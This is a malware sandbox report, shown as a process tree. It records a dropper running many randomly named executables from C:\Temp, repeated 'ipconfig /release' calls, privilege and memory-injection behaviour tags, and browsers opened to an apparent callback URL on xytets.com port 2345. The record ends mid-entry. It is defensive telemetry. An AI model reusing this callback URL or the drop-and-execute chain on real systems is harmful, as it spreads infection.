- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_davsqkiday.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1580
  - - C:\Temp\i_davsqkiday.exe
      C:\Temp\i_davsqkiday.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1144
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqkfzxspki.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5896
  - - C:\Temp\sqkfzxspki.exe
      C:\Temp\sqkfzxspki.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:832
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2516
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4852
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqkfzxspki.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4280
  - - C:\Temp\i_sqkfzxspki.exe
      C:\Temp\i_sqkfzxspki.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3676
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pmcxuspkhe.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4160
  - - C:\Temp\pmcxuspkhe.exe
      C:\Temp\pmcxuspkhe.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1940
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:124
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2856
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pmcxuspkhe.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2824
  - - C:\Temp\i_pmcxuspkhe.exe
      C:\Temp\i_pmcxuspkhe.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3688
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cwupmhezxr.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:6128
  - - C:\Temp\cwupmhezxr.exe
      C:\Temp\cwupmhezxr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4044
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5768
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5976
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cwupmhezxr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5980
  - - C:\Temp\i_cwupmhezxr.exe
      C:\Temp\i_cwupmhezxr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2068
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpjhbzurmk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4764
  - - C:\Temp\rpjhbzurmk.exe
      C:\Temp\rpjhbzurmk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1680
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1880
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2396
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpjhbzurmk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:416
  - - C:\Temp\i_rpjhbzurmk.exe
      C:\Temp\i_rpjhbzurmk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5440
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhbztrojgb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1612
  - - C:\Temp\jhbztrojgb.exe
      C:\Temp\jhbztrojgb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2632
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3764
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4276
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhbztrojgb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1408
  - - C:\Temp\i_jhbztrojgb.exe
      C:\Temp\i_jhbztrojgb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2712
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jgbzwrlbvt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2052
  - - C:\Temp\jgbzwrlbvt.exe
      C:\Temp\jgbzwrlbvt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5444
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:756
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3688
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jgbzwrlbvt.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4232
  - - C:\Temp\i_jgbzwrlbvt.exe
      C:\Temp\i_jgbzwrlbvt.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5704
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtnljdbvtn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2416
  - - C:\Temp\vtnljdbvtn.exe
      C:\Temp\vtnljdbvtn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5800
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5368
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1992
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtnljdbvtn.exe ups_ins
    3⤵
    PID:1216
  - - C:\Temp\i_vtnljdbvtn.exe
      C:\Temp\i_vtnljdbvtn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5604
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqnifdxvqo.exe ups_run
    3⤵
    PID:1296
  - - C:\Temp\sqnifdxvqo.exe
      C:\Temp\sqnifdxvqo.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3744
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1668
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3388
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqnifdxvqo.exe ups_ins
    3⤵
    PID:2956
  - - C:\Temp\i_sqnifdxvqo.exe
      C:\Temp\i_sqnifdxvqo.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4400
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nlfdxvpnhf.exe ups_run
    3⤵
    PID:5312
  - - C:\Temp\nlfdxvpnhf.exe
      C:\Temp\nlfdxvpnhf.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4100
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3464
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5588
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nlfdxvpnhf.exe ups_ins
    3⤵
    PID:1480
  - - C:\Temp\i_nlfdxvpnhf.exe
      C:\Temp\i_nlfdxvpnhf.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5116
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xupnkifaxs.exe ups_run
    3⤵
    PID:5416
  - - C:\Temp\xupnkifaxs.exe
      C:\Temp\xupnkifaxs.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4912
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3476
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2860
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xupnkifaxs.exe ups_ins
    3⤵
    PID:1992
  - - C:\Temp\i_xupnkifaxs.exe
      C:\Temp\i_xupnkifaxs.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1304
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hfzxrpnhfz.exe ups_run
    3⤵
    PID:4908
  - - C:\Temp\hfzxrpnhfz.exe
      C:\Temp\hfzxrpnhfz.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5804
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3052
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4792
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hfzxrpnhfz.exe ups_ins
    3⤵
    PID:1584
  - - C:\Temp\i_hfzxrpnhfz.exe
      C:\Temp\i_hfzxrpnhfz.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4560
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bzurmjhezw.exe ups_run
    3⤵
    PID:4000
  - - C:\Temp\bzurmjhezw.exe
      C:\Temp\bzurmjhezw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4572
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3800
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2960
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bzurmjhezw.exe ups_ins
    3⤵
    PID:5352
  - - C:\Temp\i_bzurmjhezw.exe
      C:\Temp\i_bzurmjhezw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1908
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ebzwuomjeb.exe ups_run
    3⤵
    PID:3200
  - - C:\Temp\ebzwuomjeb.exe
      C:\Temp\ebzwuomjeb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5628
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1456
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4944
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ebzwuomjeb.exe ups_ins
    3⤵
    PID:1968
  - - C:\Temp\i_ebzwuomjeb.exe
      C:\Temp\i_ebzwuomjeb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5292
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rljebomgeb.exe ups_run
    3⤵
    PID:2360
  - - C:\Temp\rljebomgeb.exe
      C:\Temp\rljebomgeb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5908
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2804
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:760
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rljebomgeb.exe ups_ins
    3⤵
    PID:4768
  - - C:\Temp\i_rljebomgeb.exe
      C:\Temp\i_rljebomgeb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5704
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\oljdbwtolg.exe ups_run
    3⤵
    PID:3472
  - - C:\Temp\oljdbwtolg.exe
      C:\Temp\oljdbwtolg.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2676
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3432
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5004
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_oljdbwtolg.exe ups_ins
    3⤵
    PID:2652
  - - C:\Temp\i_oljdbwtolg.exe
      C:\Temp\i_oljdbwtolg.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:476
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\lgdyvqoigd.exe ups_run
    3⤵
    PID:1132
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ffc81b0c188,0x7ffc81b0c194,0x7ffc81b0c1a0
      4⤵
      PID:3012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1592,i,10827067395001257947,13542060847757113638,262144 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=2196 /prefetch:2
      4⤵
      PID:2800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1848,i,3108033701006775411,4802601777421878152,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:11
      4⤵
      System Time Discovery
      PID:5196
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2544,i,12039312002253732323,7609046854389601071,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:13
      4⤵
      PID:2944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3600,i,12258637740219274356,2494359027954404932,2097152 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
      4⤵
      PID:1296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3608,i,14422378274793099560,14171971909012641559,2097152 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:1
      4⤵
      PID:1480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4244,i,16931004828540511649,16689508834791181139,2097152 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=4936 /prefetch:1
      4⤵
      PID:340
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4272,i,13081678096564587467,2428628096109772365,2097152 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:9
      4⤵
      PID:124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5384,i,13091196573541080787,16109059887073554793,2097152 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=3764 /prefetch:1
      4⤵
      PID:4736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5256,i,9006067423695991717,18018755879665757754,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:14
      4⤵
      PID:5748
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3772,i,10593684947742748282,8580585001473847338,2097152 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=3748 /prefetch:1
      4⤵
      PID:3144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5060,i,2068942967742745986,14142301484069907083,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:14
      4⤵
      PID:5940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5044,i,16603925738478480379,8582901468848640442,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=3852 /prefetch:14
      4⤵
      PID:4560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,17987614404046471916,6812106548384180112,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:14
      4⤵
      PID:760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,17987614404046471916,6812106548384180112,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:14
      4⤵
      PID:4484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6236,i,9868354085844196724,12909789532966381433,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:14
      4⤵
      PID:4556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6432,i,10045985048616052083,3473994312929359746,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:14
      4⤵
      PID:5000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3576,i,2800562367189540406,2074377175925145931,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:14
      4⤵
      PID:1192
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4268,i,11176747758753979372,7069463939445771863,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:14
      4⤵
      PID:3408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,4970990363696277685,9450088338936901469,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=5124 /prefetch:14
      4⤵
      PID:3444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5588,i,16987651736081122785,17160158227178725796,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=3832 /prefetch:14
      4⤵
      PID:424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2076,i,16320421760162393714,12457297433843861989,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:14
      4⤵
      PID:6076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5708,i,6997416484228907723,17699953496615794005,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:14
      4⤵
      PID:3060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=924,i,13661623195739297708,12250041747869742660,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:14
      4⤵
      PID:1540
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
